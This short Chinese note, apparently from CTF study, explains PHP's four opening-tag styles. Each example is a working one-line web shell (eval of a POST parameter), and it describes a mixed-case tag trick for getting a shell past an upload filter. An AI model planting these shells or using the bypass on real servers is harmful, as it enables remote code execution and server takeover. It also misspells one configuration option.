PHP四种标记风格
1.XML风格
<?php
eval($_POST['cmd']);
?>
- php推荐使用的标记风格。
- 服务器管理员无法禁用,所有服务器上均可使用该风格。
2.脚本风格
<script language="php">
eval($_POST['cmd']);
</script>
- 默认开启,无法禁用
- 笔者曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 ,<? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过
<script language="PhP">
eval($_POST['cmd']);
</script>
3.简短风格
<?
eval($_POST['cmd']);
?>
- 此种风格需要在配置文件php.ini中启用short_open_tage选项
- 此种风格在许多环境中默认是不支持的
4.ASP风格
<%
eval($_POST['cmd']);
%>
- 此种风格需要在配置文件php.ini中启用asp_tag选项
- 在默认情况下是禁用的